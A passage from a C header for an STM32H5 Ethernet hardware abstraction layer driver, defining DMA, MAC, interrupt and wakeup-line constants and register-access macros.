#define HAL_ETH_ERROR_BUSY 0x00000002U /*!< Parameter error */
#define HAL_ETH_ERROR_TIMEOUT 0x00000004U /*!< Timeout error */
#define HAL_ETH_ERROR_DMA 0x00000008U /*!< DMA transfer error */
#define HAL_ETH_ERROR_MAC 0x00000010U /*!< MAC transfer error */
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
#define HAL_ETH_ERROR_INVALID_CALLBACK 0x00000020U /*!< Invalid Callback error */
#endif /* USE_HAL_ETH_REGISTER_CALLBACKS */
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_Attributes ETH Tx Packet Attributes
* @{
*/
#define ETH_TX_PACKETS_FEATURES_CSUM 0x00000001U
#define ETH_TX_PACKETS_FEATURES_SAIC 0x00000002U
#define ETH_TX_PACKETS_FEATURES_VLANTAG 0x00000004U
#define ETH_TX_PACKETS_FEATURES_INNERVLANTAG 0x00000008U
#define ETH_TX_PACKETS_FEATURES_TSO 0x00000010U
#define ETH_TX_PACKETS_FEATURES_CRCPAD 0x00000020U
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_Source_Addr_Control ETH Tx Packet Source Addr Control
* @{
*/
#define ETH_SRC_ADDR_CONTROL_DISABLE ETH_DMATXNDESCRF_SAIC_DISABLE
#define ETH_SRC_ADDR_INSERT ETH_DMATXNDESCRF_SAIC_INSERT
#define ETH_SRC_ADDR_REPLACE ETH_DMATXNDESCRF_SAIC_REPLACE
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_CRC_Pad_Control ETH Tx Packet CRC Pad Control
* @{
*/
#define ETH_CRC_PAD_DISABLE ETH_DMATXNDESCRF_CPC_DISABLE
#define ETH_CRC_PAD_INSERT ETH_DMATXNDESCRF_CPC_CRCPAD_INSERT
#define ETH_CRC_INSERT ETH_DMATXNDESCRF_CPC_CRC_INSERT
#define ETH_CRC_REPLACE ETH_DMATXNDESCRF_CPC_CRC_REPLACE
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_Checksum_Control ETH Tx Packet Checksum Control
* @{
*/
#define ETH_CHECKSUM_DISABLE ETH_DMATXNDESCRF_CIC_DISABLE
#define ETH_CHECKSUM_IPHDR_INSERT ETH_DMATXNDESCRF_CIC_IPHDR_INSERT
#define ETH_CHECKSUM_IPHDR_PAYLOAD_INSERT ETH_DMATXNDESCRF_CIC_IPHDR_PAYLOAD_INSERT
#define ETH_CHECKSUM_IPHDR_PAYLOAD_INSERT_PHDR_CALC ETH_DMATXNDESCRF_CIC_IPHDR_PAYLOAD_INSERT_PHDR_CALC
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_VLAN_Control ETH Tx Packet VLAN Control
* @{
*/
#define ETH_VLAN_DISABLE ETH_DMATXNDESCRF_VTIR_DISABLE
#define ETH_VLAN_REMOVE ETH_DMATXNDESCRF_VTIR_REMOVE
#define ETH_VLAN_INSERT ETH_DMATXNDESCRF_VTIR_INSERT
#define ETH_VLAN_REPLACE ETH_DMATXNDESCRF_VTIR_REPLACE
/**
* @}
*/
/** @defgroup ETH_Tx_Packet_Inner_VLAN_Control ETH Tx Packet Inner VLAN Control
* @{
*/
#define ETH_INNER_VLAN_DISABLE ETH_DMATXCDESC_IVTIR_DISABLE
#define ETH_INNER_VLAN_REMOVE ETH_DMATXCDESC_IVTIR_REMOVE
#define ETH_INNER_VLAN_INSERT ETH_DMATXCDESC_IVTIR_INSERT
#define ETH_INNER_VLAN_REPLACE ETH_DMATXCDESC_IVTIR_REPLACE
/**
* @}
*/
/** @defgroup ETH_Rx_Checksum_Status ETH Rx Checksum Status
* @{
*/
#define ETH_CHECKSUM_BYPASSED ETH_DMARXNDESCWBF_IPCB
#define ETH_CHECKSUM_IP_HEADER_ERROR ETH_DMARXNDESCWBF_IPHE
#define ETH_CHECKSUM_IP_PAYLOAD_ERROR ETH_DMARXNDESCWBF_IPCE
/**
* @}
*/
/** @defgroup ETH_Rx_IP_Header_Type ETH Rx IP Header Type
* @{
*/
#define ETH_IP_HEADER_IPV4 ETH_DMARXNDESCWBF_IPV4
#define ETH_IP_HEADER_IPV6 ETH_DMARXNDESCWBF_IPV6
/**
* @}
*/
/** @defgroup ETH_Rx_Payload_Type ETH Rx Payload Type
* @{
*/
#define ETH_IP_PAYLOAD_UNKNOWN ETH_DMARXNDESCWBF_PT_UNKNOWN
#define ETH_IP_PAYLOAD_UDP ETH_DMARXNDESCWBF_PT_UDP
#define ETH_IP_PAYLOAD_TCP ETH_DMARXNDESCWBF_PT_TCP
#define ETH_IP_PAYLOAD_ICMPN ETH_DMARXNDESCWBF_PT_ICMP
/**
* @}
*/
/** @defgroup ETH_Rx_MAC_Filter_Status ETH Rx MAC Filter Status
* @{
*/
#define ETH_HASH_FILTER_PASS ETH_DMARXNDESCWBF_HF
#define ETH_VLAN_FILTER_PASS ETH_DMARXNDESCWBF_VF
#define ETH_DEST_ADDRESS_FAIL ETH_DMARXNDESCWBF_DAF
#define ETH_SOURCE_ADDRESS_FAIL ETH_DMARXNDESCWBF_SAF
/**
* @}
*/
/** @defgroup ETH_Rx_L3_Filter_Status ETH Rx L3 Filter Status
* @{
*/
#define ETH_L3_FILTER0_MATCH ETH_DMARXNDESCWBF_L3FM
#define ETH_L3_FILTER1_MATCH (ETH_DMARXNDESCWBF_L3FM | ETH_DMARXNDESCWBF_L3L4FM)
/**
* @}
*/
/** @defgroup ETH_Rx_L4_Filter_Status ETH Rx L4 Filter Status
* @{
*/
#define ETH_L4_FILTER0_MATCH ETH_DMARXNDESCWBF_L4FM
#define ETH_L4_FILTER1_MATCH (ETH_DMARXNDESCWBF_L4FM | ETH_DMARXNDESCWBF_L3L4FM)
/**
* @}
*/
/** @defgroup ETH_Rx_Error_Code ETH Rx Error Code
* @{
*/
#define ETH_DRIBBLE_BIT_ERROR ETH_DMARXNDESCWBF_DE
#define ETH_RECEIVE_ERROR ETH_DMARXNDESCWBF_RE
#define ETH_RECEIVE_OVERFLOW ETH_DMARXNDESCWBF_OE
#define ETH_WATCHDOG_TIMEOUT ETH_DMARXNDESCWBF_RWT
#define ETH_GIANT_PACKET ETH_DMARXNDESCWBF_GP
#define ETH_CRC_ERROR ETH_DMARXNDESCWBF_CE
/**
* @}
*/
/** @defgroup ETH_DMA_Arbitration ETH DMA Arbitration
* @{
*/
#define ETH_DMAARBITRATION_RX ETH_DMAMR_DA
#define ETH_DMAARBITRATION_RX1_TX1 0x00000000U
#define ETH_DMAARBITRATION_RX2_TX1 ETH_DMAMR_PR_2_1
#define ETH_DMAARBITRATION_RX3_TX1 ETH_DMAMR_PR_3_1
#define ETH_DMAARBITRATION_RX4_TX1 ETH_DMAMR_PR_4_1
#define ETH_DMAARBITRATION_RX5_TX1 ETH_DMAMR_PR_5_1
#define ETH_DMAARBITRATION_RX6_TX1 ETH_DMAMR_PR_6_1
#define ETH_DMAARBITRATION_RX7_TX1 ETH_DMAMR_PR_7_1
#define ETH_DMAARBITRATION_RX8_TX1 ETH_DMAMR_PR_8_1
#define ETH_DMAARBITRATION_TX (ETH_DMAMR_TXPR | ETH_DMAMR_DA)
#define ETH_DMAARBITRATION_TX1_RX1 0x00000000U
#define ETH_DMAARBITRATION_TX2_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_2_1)
#define ETH_DMAARBITRATION_TX3_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_3_1)
#define ETH_DMAARBITRATION_TX4_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_4_1)
#define ETH_DMAARBITRATION_TX5_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_5_1)
#define ETH_DMAARBITRATION_TX6_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_6_1)
#define ETH_DMAARBITRATION_TX7_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_7_1)
#define ETH_DMAARBITRATION_TX8_RX1 (ETH_DMAMR_TXPR | ETH_DMAMR_PR_8_1)
/**
* @}
*/
/** @defgroup ETH_Burst_Mode ETH Burst Mode
* @{
*/
#define ETH_BURSTLENGTH_FIXED ETH_DMASBMR_FB
#define ETH_BURSTLENGTH_MIXED ETH_DMASBMR_MB
#define ETH_BURSTLENGTH_UNSPECIFIED 0x00000000U
/**
* @}
*/
/** @defgroup ETH_Tx_DMA_Burst_Length ETH Tx DMA Burst Length
* @{
*/
#define ETH_TXDMABURSTLENGTH_1BEAT ETH_DMACTCR_TPBL_1PBL
#define ETH_TXDMABURSTLENGTH_2BEAT ETH_DMACTCR_TPBL_2PBL
#define ETH_TXDMABURSTLENGTH_4BEAT ETH_DMACTCR_TPBL_4PBL
#define ETH_TXDMABURSTLENGTH_8BEAT ETH_DMACTCR_TPBL_8PBL
#define ETH_TXDMABURSTLENGTH_16BEAT ETH_DMACTCR_TPBL_16PBL
#define ETH_TXDMABURSTLENGTH_32BEAT ETH_DMACTCR_TPBL_32PBL
/**
* @}
*/
/** @defgroup ETH_Rx_DMA_Burst_Length ETH Rx DMA Burst Length
* @{
*/
#define ETH_RXDMABURSTLENGTH_1BEAT ETH_DMACRCR_RPBL_1PBL
#define ETH_RXDMABURSTLENGTH_2BEAT ETH_DMACRCR_RPBL_2PBL
#define ETH_RXDMABURSTLENGTH_4BEAT ETH_DMACRCR_RPBL_4PBL
#define ETH_RXDMABURSTLENGTH_8BEAT ETH_DMACRCR_RPBL_8PBL
#define ETH_RXDMABURSTLENGTH_16BEAT ETH_DMACRCR_RPBL_16PBL
#define ETH_RXDMABURSTLENGTH_32BEAT ETH_DMACRCR_RPBL_32PBL
/**
* @}
*/
/** @defgroup ETH_DMA_Interrupts ETH DMA Interrupts
* @{
*/
#define ETH_DMA_NORMAL_IT ETH_DMACIER_NIE
#define ETH_DMA_ABNORMAL_IT ETH_DMACIER_AIE
#define ETH_DMA_CONTEXT_DESC_ERROR_IT ETH_DMACIER_CDEE
#define ETH_DMA_FATAL_BUS_ERROR_IT ETH_DMACIER_FBEE
#define ETH_DMA_EARLY_RX_IT ETH_DMACIER_ERIE
#define ETH_DMA_EARLY_TX_IT ETH_DMACIER_ETIE
#define ETH_DMA_RX_WATCHDOG_TIMEOUT_IT ETH_DMACIER_RWTE
#define ETH_DMA_RX_PROCESS_STOPPED_IT ETH_DMACIER_RSE
#define ETH_DMA_RX_BUFFER_UNAVAILABLE_IT ETH_DMACIER_RBUE
#define ETH_DMA_RX_IT ETH_DMACIER_RIE
#define ETH_DMA_TX_BUFFER_UNAVAILABLE_IT ETH_DMACIER_TBUE
#define ETH_DMA_TX_PROCESS_STOPPED_IT ETH_DMACIER_TXSE
#define ETH_DMA_TX_IT ETH_DMACIER_TIE
/**
* @}
*/
/** @defgroup ETH_DMA_Status_Flags ETH DMA Status Flags
* @{
*/
#define ETH_DMA_RX_NO_ERROR_FLAG 0x00000000U
#define ETH_DMA_RX_DESC_READ_ERROR_FLAG (ETH_DMACSR_REB_BIT_2 | ETH_DMACSR_REB_BIT_1 | ETH_DMACSR_REB_BIT_0)
#define ETH_DMA_RX_DESC_WRITE_ERROR_FLAG (ETH_DMACSR_REB_BIT_2 | ETH_DMACSR_REB_BIT_1)
#define ETH_DMA_RX_BUFFER_READ_ERROR_FLAG (ETH_DMACSR_REB_BIT_2 | ETH_DMACSR_REB_BIT_0)
#define ETH_DMA_RX_BUFFER_WRITE_ERROR_FLAG ETH_DMACSR_REB_BIT_2
#define ETH_DMA_TX_NO_ERROR_FLAG 0x00000000U
#define ETH_DMA_TX_DESC_READ_ERROR_FLAG (ETH_DMACSR_TEB_BIT_2 | ETH_DMACSR_TEB_BIT_1 | ETH_DMACSR_TEB_BIT_0)
#define ETH_DMA_TX_DESC_WRITE_ERROR_FLAG (ETH_DMACSR_TEB_BIT_2 | ETH_DMACSR_TEB_BIT_1)
#define ETH_DMA_TX_BUFFER_READ_ERROR_FLAG (ETH_DMACSR_TEB_BIT_2 | ETH_DMACSR_TEB_BIT_0)
#define ETH_DMA_TX_BUFFER_WRITE_ERROR_FLAG ETH_DMACSR_TEB_BIT_2
#define ETH_DMA_CONTEXT_DESC_ERROR_FLAG ETH_DMACSR_CDE
#define ETH_DMA_FATAL_BUS_ERROR_FLAG ETH_DMACSR_FBE
#define ETH_DMA_EARLY_TX_IT_FLAG ETH_DMACSR_ERI
#define ETH_DMA_RX_WATCHDOG_TIMEOUT_FLAG ETH_DMACSR_RWT
#define ETH_DMA_RX_PROCESS_STOPPED_FLAG ETH_DMACSR_RPS
#define ETH_DMA_RX_BUFFER_UNAVAILABLE_FLAG ETH_DMACSR_RBU
#define ETH_DMA_TX_PROCESS_STOPPED_FLAG ETH_DMACSR_TPS
/**
* @}
*/
/** @defgroup ETH_Transmit_Mode ETH Transmit Mode
* @{
*/
#define ETH_TRANSMITSTOREFORWARD ETH_MTLTQOMR_TSF
#define ETH_TRANSMITTHRESHOLD_32 ETH_MTLTQOMR_TTC_32BITS
#define ETH_TRANSMITTHRESHOLD_64 ETH_MTLTQOMR_TTC_64BITS
#define ETH_TRANSMITTHRESHOLD_96 ETH_MTLTQOMR_TTC_96BITS
#define ETH_TRANSMITTHRESHOLD_128 ETH_MTLTQOMR_TTC_128BITS
#define ETH_TRANSMITTHRESHOLD_192 ETH_MTLTQOMR_TTC_192BITS
#define ETH_TRANSMITTHRESHOLD_256 ETH_MTLTQOMR_TTC_256BITS
#define ETH_TRANSMITTHRESHOLD_384 ETH_MTLTQOMR_TTC_384BITS
#define ETH_TRANSMITTHRESHOLD_512 ETH_MTLTQOMR_TTC_512BITS
/**
* @}
*/
/** @defgroup ETH_Receive_Mode ETH Receive Mode
* @{
*/
#define ETH_RECEIVESTOREFORWARD ETH_MTLRQOMR_RSF
#define ETH_RECEIVETHRESHOLD8_64 ETH_MTLRQOMR_RTC_64BITS
#define ETH_RECEIVETHRESHOLD8_32 ETH_MTLRQOMR_RTC_32BITS
#define ETH_RECEIVETHRESHOLD8_96 ETH_MTLRQOMR_RTC_96BITS
#define ETH_RECEIVETHRESHOLD8_128 ETH_MTLRQOMR_RTC_128BITS
/**
* @}
*/
/** @defgroup ETH_Pause_Low_Threshold ETH Pause Low Threshold
* @{
*/
#define ETH_PAUSELOWTHRESHOLD_MINUS_4 ETH_MACTFCR_PLT_MINUS4
#define ETH_PAUSELOWTHRESHOLD_MINUS_28 ETH_MACTFCR_PLT_MINUS28
#define ETH_PAUSELOWTHRESHOLD_MINUS_36 ETH_MACTFCR_PLT_MINUS36
#define ETH_PAUSELOWTHRESHOLD_MINUS_144 ETH_MACTFCR_PLT_MINUS144
#define ETH_PAUSELOWTHRESHOLD_MINUS_256 ETH_MACTFCR_PLT_MINUS256
#define ETH_PAUSELOWTHRESHOLD_MINUS_512 ETH_MACTFCR_PLT_MINUS512
/**
* @}
*/
/** @defgroup ETH_Watchdog_Timeout ETH Watchdog Timeout
* @{
*/
#define ETH_WATCHDOGTIMEOUT_2KB ETH_MACWTR_WTO_2KB
#define ETH_WATCHDOGTIMEOUT_3KB ETH_MACWTR_WTO_3KB
#define ETH_WATCHDOGTIMEOUT_4KB ETH_MACWTR_WTO_4KB
#define ETH_WATCHDOGTIMEOUT_5KB ETH_MACWTR_WTO_5KB
#define ETH_WATCHDOGTIMEOUT_6KB ETH_MACWTR_WTO_6KB
#define ETH_WATCHDOGTIMEOUT_7KB ETH_MACWTR_WTO_7KB
#define ETH_WATCHDOGTIMEOUT_8KB ETH_MACWTR_WTO_8KB
#define ETH_WATCHDOGTIMEOUT_9KB ETH_MACWTR_WTO_9KB
#define ETH_WATCHDOGTIMEOUT_10KB ETH_MACWTR_WTO_10KB
#define ETH_WATCHDOGTIMEOUT_11KB ETH_MACWTR_WTO_12KB
#define ETH_WATCHDOGTIMEOUT_12KB ETH_MACWTR_WTO_12KB
#define ETH_WATCHDOGTIMEOUT_13KB ETH_MACWTR_WTO_13KB
#define ETH_WATCHDOGTIMEOUT_14KB ETH_MACWTR_WTO_14KB
#define ETH_WATCHDOGTIMEOUT_15KB ETH_MACWTR_WTO_15KB
#define ETH_WATCHDOGTIMEOUT_16KB ETH_MACWTR_WTO_16KB
/**
* @}
*/
/** @defgroup ETH_Inter_Packet_Gap ETH Inter Packet Gap
* @{
*/
#define ETH_INTERPACKETGAP_96BIT ETH_MACCR_IPG_96BIT
#define ETH_INTERPACKETGAP_88BIT ETH_MACCR_IPG_88BIT
#define ETH_INTERPACKETGAP_80BIT ETH_MACCR_IPG_80BIT
#define ETH_INTERPACKETGAP_72BIT ETH_MACCR_IPG_72BIT
#define ETH_INTERPACKETGAP_64BIT ETH_MACCR_IPG_64BIT
#define ETH_INTERPACKETGAP_56BIT ETH_MACCR_IPG_56BIT
#define ETH_INTERPACKETGAP_48BIT ETH_MACCR_IPG_48BIT
#define ETH_INTERPACKETGAP_40BIT ETH_MACCR_IPG_40BIT
/**
* @}
*/
/** @defgroup ETH_Speed ETH Speed
* @{
*/
#define ETH_SPEED_10M 0x00000000U
#define ETH_SPEED_100M ETH_MACCR_FES
/**
* @}
*/
/** @defgroup ETH_Duplex_Mode ETH Duplex Mode
* @{
*/
#define ETH_FULLDUPLEX_MODE ETH_MACCR_DM
#define ETH_HALFDUPLEX_MODE 0x00000000U
/**
* @}
*/
/** @defgroup ETH_Back_Off_Limit ETH Back Off Limit
* @{
*/
#define ETH_BACKOFFLIMIT_10 ETH_MACCR_BL_10
#define ETH_BACKOFFLIMIT_8 ETH_MACCR_BL_8
#define ETH_BACKOFFLIMIT_4 ETH_MACCR_BL_4
#define ETH_BACKOFFLIMIT_1 ETH_MACCR_BL_1
/**
* @}
*/
/** @defgroup ETH_Preamble_Length ETH Preamble Length
* @{
*/
#define ETH_PREAMBLELENGTH_7 ETH_MACCR_PRELEN_7
#define ETH_PREAMBLELENGTH_5 ETH_MACCR_PRELEN_5
#define ETH_PREAMBLELENGTH_3 ETH_MACCR_PRELEN_3
/**
* @}
*/
/** @defgroup ETH_Source_Addr_Control ETH Source Addr Control
* @{
*/
#define ETH_SOURCEADDRESS_DISABLE 0x00000000U
#define ETH_SOURCEADDRESS_INSERT_ADDR0 ETH_MACCR_SARC_INSADDR0
#define ETH_SOURCEADDRESS_INSERT_ADDR1 ETH_MACCR_SARC_INSADDR1
#define ETH_SOURCEADDRESS_REPLACE_ADDR0 ETH_MACCR_SARC_REPADDR0
#define ETH_SOURCEADDRESS_REPLACE_ADDR1 ETH_MACCR_SARC_REPADDR1
/**
* @}
*/
/** @defgroup ETH_Control_Packets_Filter ETH Control Packets Filter
* @{
*/
#define ETH_CTRLPACKETS_BLOCK_ALL ETH_MACPFR_PCF_BLOCKALL
#define ETH_CTRLPACKETS_FORWARD_ALL_EXCEPT_PA ETH_MACPFR_PCF_FORWARDALLEXCEPTPA
#define ETH_CTRLPACKETS_FORWARD_ALL ETH_MACPFR_PCF_FORWARDALL
#define ETH_CTRLPACKETS_FORWARD_PASSED_ADDR_FILTER ETH_MACPFR_PCF_FORWARDPASSEDADDRFILTER
/**
* @}
*/
/** @defgroup ETH_VLAN_Tag_Comparison ETH VLAN Tag Comparison
* @{
*/
#define ETH_VLANTAGCOMPARISON_16BIT 0x00000000U
#define ETH_VLANTAGCOMPARISON_12BIT ETH_MACVTR_ETV
/**
* @}
*/
/** @defgroup ETH_MAC_addresses ETH MAC addresses
* @{
*/
#define ETH_MAC_ADDRESS0 0x00000000U
#define ETH_MAC_ADDRESS1 0x00000008U
#define ETH_MAC_ADDRESS2 0x00000010U
#define ETH_MAC_ADDRESS3 0x00000018U
/**
* @}
*/
/** @defgroup ETH_MAC_Interrupts ETH MAC Interrupts
* @{
*/
#define ETH_MAC_RX_STATUS_IT ETH_MACIER_RXSTSIE
#define ETH_MAC_TX_STATUS_IT ETH_MACIER_TXSTSIE
#define ETH_MAC_TIMESTAMP_IT ETH_MACIER_TSIE
#define ETH_MAC_LPI_IT ETH_MACIER_LPIIE
#define ETH_MAC_PMT_IT ETH_MACIER_PMTIE
#define ETH_MAC_PHY_IT ETH_MACIER_PHYIE
/**
* @}
*/
/** @defgroup ETH_MAC_Wake_Up_Event ETH MAC Wake Up Event
* @{
*/
#define ETH_WAKEUP_PACKET_RECIEVED ETH_MACPCSR_RWKPRCVD
#define ETH_MAGIC_PACKET_RECIEVED ETH_MACPCSR_MGKPRCVD
/**
* @}
*/
/** @defgroup ETH_MAC_Rx_Tx_Status ETH MAC Rx Tx Status
* @{
*/
#define ETH_RECEIVE_WATCHDOG_TIMEOUT ETH_MACRXTXSR_RWT
#define ETH_EXECESSIVE_COLLISIONS ETH_MACRXTXSR_EXCOL
#define ETH_LATE_COLLISIONS ETH_MACRXTXSR_LCOL
#define ETH_EXECESSIVE_DEFERRAL ETH_MACRXTXSR_EXDEF
#define ETH_LOSS_OF_CARRIER ETH_MACRXTXSR_LCARR
#define ETH_NO_CARRIER ETH_MACRXTXSR_NCARR
#define ETH_TRANSMIT_JABBR_TIMEOUT ETH_MACRXTXSR_TJT
/**
* @}
*/
/** @defgroup ETH_State_Codes ETH States
* @{
*/
#define HAL_ETH_STATE_RESET 0x00000000U /*!< Peripheral not yet Initialized or disabled */
#define HAL_ETH_STATE_READY 0x00000010U /*!< Peripheral Communication started */
#define HAL_ETH_STATE_BUSY 0x00000023U /*!< an internal process is ongoing */
#define HAL_ETH_STATE_STARTED 0x00000023U /*!< an internal process is started */
#define HAL_ETH_STATE_ERROR 0x000000E0U /*!< Error State */
/**
* @}
*/
/** @defgroup ETH_PTP_Config_Status ETH PTP Config Status
* @{
*/
#define HAL_ETH_PTP_NOT_CONFIGURATED 0x00000000U /*!< ETH PTP Configuration not done */
#define HAL_ETH_PTP_CONFIGURATED 0x00000001U /*!< ETH PTP Configuration done */
/**
* @}
*/
/**
* @}
*/
/* Exported macro ------------------------------------------------------------*/
/** @defgroup ETH_Exported_Macros ETH Exported Macros
* @{
*/
/** @brief Reset ETH handle state
* @param __HANDLE__: specifies the ETH handle.
* @retval None
*/
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
#define __HAL_ETH_RESET_HANDLE_STATE(__HANDLE__) do{ \
(__HANDLE__)->gState = HAL_ETH_STATE_RESET; \
(__HANDLE__)->MspInitCallback = NULL; \
(__HANDLE__)->MspDeInitCallback = NULL; \
} while(0)
#else
#define __HAL_ETH_RESET_HANDLE_STATE(__HANDLE__) do{ \
(__HANDLE__)->gState = HAL_ETH_STATE_RESET; \
} while(0)
#endif /*USE_HAL_ETH_REGISTER_CALLBACKS */
/**
* @brief Enables the specified ETHERNET DMA interrupts.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the ETHERNET DMA interrupt sources to be
* enabled @ref ETH_DMA_Interrupts
* @retval None
*/
#define __HAL_ETH_DMA_ENABLE_IT(__HANDLE__, __INTERRUPT__) ((__HANDLE__)->Instance->DMACIER |= (__INTERRUPT__))
/**
* @brief Disables the specified ETHERNET DMA interrupts.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the ETHERNET DMA interrupt sources to be
* disabled. @ref ETH_DMA_Interrupts
* @retval None
*/
#define __HAL_ETH_DMA_DISABLE_IT(__HANDLE__, __INTERRUPT__) ((__HANDLE__)->Instance->DMACIER &= ~(__INTERRUPT__))
/**
* @brief Gets the ETHERNET DMA IT source enabled or disabled.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the interrupt source to get . @ref ETH_DMA_Interrupts
* @retval The ETH DMA IT Source enabled or disabled
*/
#define __HAL_ETH_DMA_GET_IT_SOURCE(__HANDLE__, __INTERRUPT__) \
(((__HANDLE__)->Instance->DMACIER & (__INTERRUPT__)) == (__INTERRUPT__))
/**
* @brief Gets the ETHERNET DMA IT pending bit.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the interrupt source to get . @ref ETH_DMA_Interrupts
* @retval The state of ETH DMA IT (SET or RESET)
*/
#define __HAL_ETH_DMA_GET_IT(__HANDLE__, __INTERRUPT__) \
(((__HANDLE__)->Instance->DMACSR & (__INTERRUPT__)) == (__INTERRUPT__))
/**
* @brief Clears the ETHERNET DMA IT pending bit.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the interrupt pending bit to clear. @ref ETH_DMA_Interrupts
* @retval None
*/
#define __HAL_ETH_DMA_CLEAR_IT(__HANDLE__, __INTERRUPT__) ((__HANDLE__)->Instance->DMACSR = (__INTERRUPT__))
/**
* @brief Checks whether the specified ETHERNET DMA flag is set or not.
* @param __HANDLE__: ETH Handle
* @param __FLAG__: specifies the flag to check. @ref ETH_DMA_Status_Flags
* @retval The state of ETH DMA FLAG (SET or RESET).
*/
#define __HAL_ETH_DMA_GET_FLAG(__HANDLE__, __FLAG__) (((__HANDLE__)->Instance->DMACSR &( __FLAG__)) == ( __FLAG__))
/**
* @brief Clears the specified ETHERNET DMA flag.
* @param __HANDLE__: ETH Handle
* @param __FLAG__: specifies the flag to check. @ref ETH_DMA_Status_Flags
* @retval The state of ETH DMA FLAG (SET or RESET).
*/
#define __HAL_ETH_DMA_CLEAR_FLAG(__HANDLE__, __FLAG__) ((__HANDLE__)->Instance->DMACSR = ( __FLAG__))
/**
* @brief Enables the specified ETHERNET MAC interrupts.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the ETHERNET MAC interrupt sources to be
* enabled @ref ETH_MAC_Interrupts
* @retval None
*/
#define __HAL_ETH_MAC_ENABLE_IT(__HANDLE__, __INTERRUPT__) ((__HANDLE__)->Instance->MACIER |= (__INTERRUPT__))
/**
* @brief Disables the specified ETHERNET MAC interrupts.
* @param __HANDLE__ : ETH Handle
* @param __INTERRUPT__: specifies the ETHERNET MAC interrupt sources to be
* enabled @ref ETH_MAC_Interrupts
* @retval None
*/
#define __HAL_ETH_MAC_DISABLE_IT(__HANDLE__, __INTERRUPT__) ((__HANDLE__)->Instance->MACIER &= ~(__INTERRUPT__))
/**
* @brief Checks whether the specified ETHERNET MAC flag is set or not.
* @param __HANDLE__: ETH Handle
* @param __INTERRUPT__: specifies the flag to check. @ref ETH_MAC_Interrupts
* @retval The state of ETH MAC IT (SET or RESET).
*/
#define __HAL_ETH_MAC_GET_IT(__HANDLE__, __INTERRUPT__) (((__HANDLE__)->Instance->MACISR &\
( __INTERRUPT__)) == ( __INTERRUPT__))
/*!< External interrupt line 46 Connected to the ETH wakeup EXTI Line */
#define ETH_WAKEUP_EXTI_LINE 0x00004000U /* !< 46 - 32 = 14 */
/**
* @brief Enable the ETH WAKEUP Exti Line.
* @param __EXTI_LINE__: specifies the ETH WAKEUP Exti sources to be enabled.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None.
*/
#define __HAL_ETH_WAKEUP_EXTI_ENABLE_IT(__EXTI_LINE__) (EXTI->IMR2 |= (__EXTI_LINE__))
/**
* @brief checks whether the specified ETH WAKEUP Exti interrupt flag is set or not.
* @param __EXTI_LINE__: specifies the ETH WAKEUP Exti sources to be cleared.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval EXTI ETH WAKEUP Line Status.
*/
#define __HAL_ETH_WAKEUP_EXTI_GET_FLAG(__EXTI_LINE__) (EXTI->RPR2 & (__EXTI_LINE__))
/**
* @brief Clear the ETH WAKEUP Exti flag.
* @param __EXTI_LINE__: specifies the ETH WAKEUP Exti sources to be cleared.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None.
*/
#define __HAL_ETH_WAKEUP_EXTI_CLEAR_FLAG(__EXTI_LINE__) (EXTI->RPR2 = (__EXTI_LINE__))
/**
* @brief enable rising edge interrupt on selected EXTI line.
* @param __EXTI_LINE__: specifies the ETH WAKEUP EXTI sources to be disabled.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None
*/
#define __HAL_ETH_WAKEUP_EXTI_ENABLE_RISING_EDGE(__EXTI_LINE__) (EXTI->FTSR2 &= ~(__EXTI_LINE__)); \
(EXTI->RTSR2 |= (__EXTI_LINE__))
/**
* @brief enable falling edge interrupt on selected EXTI line.
* @param __EXTI_LINE__: specifies the ETH WAKEUP EXTI sources to be disabled.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None
*/
#define __HAL_ETH_WAKEUP_EXTI_ENABLE_FALLING_EDGE(__EXTI_LINE__) (EXTI->RTSR2 &= ~(__EXTI_LINE__));\
(EXTI->FTSR2 |= (__EXTI_LINE__))
/**
* @brief enable falling edge interrupt on selected EXTI line.
* @param __EXTI_LINE__: specifies the ETH WAKEUP EXTI sources to be disabled.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None
*/
#define __HAL_ETH_WAKEUP_EXTI_ENABLE_RISING_FALLING_EDGE(__EXTI_LINE__) (EXTI->RTSR2 |= (__EXTI_LINE__));\
(EXTI->FTSR2 |= (__EXTI_LINE__))
/**
* @brief Generates a Software interrupt on selected EXTI line.
* @param __EXTI_LINE__: specifies the ETH WAKEUP EXTI sources to be disabled.
* @arg ETH_WAKEUP_EXTI_LINE
* @retval None
*/
#define __HAL_ETH_WAKEUP_EXTI_GENERATE_SWIT(__EXTI_LINE__) (EXTI->SWIER2 |= (__EXTI_LINE__))
#define __HAL_ETH_GET_PTP_CONTROL(__HANDLE__, __FLAG__) (((((__HANDLE__)->Instance->MACTSCR) & \
(__FLAG__)) == (__FLAG__)) ? SET : RESET)
#define __HAL_ETH_SET_PTP_CONTROL(__HANDLE__, __FLAG__) ((__HANDLE__)->Instance->MACTSCR |= (__FLAG__))
/**
* @}
*/
/* Include ETH HAL Extension module */
#include "stm32h5xx_hal_eth_ex.h"
/* Exported functions --------------------------------------------------------*/
/** @addtogroup ETH_Exported_Functions
* @{
*/
/** @addtogroup ETH_Exported_Functions_Group1
* @{
*/
/* Initialization and de initialization functions **********************************/
HAL_StatusTypeDef HAL_ETH_Init(ETH_HandleTypeDef *heth);
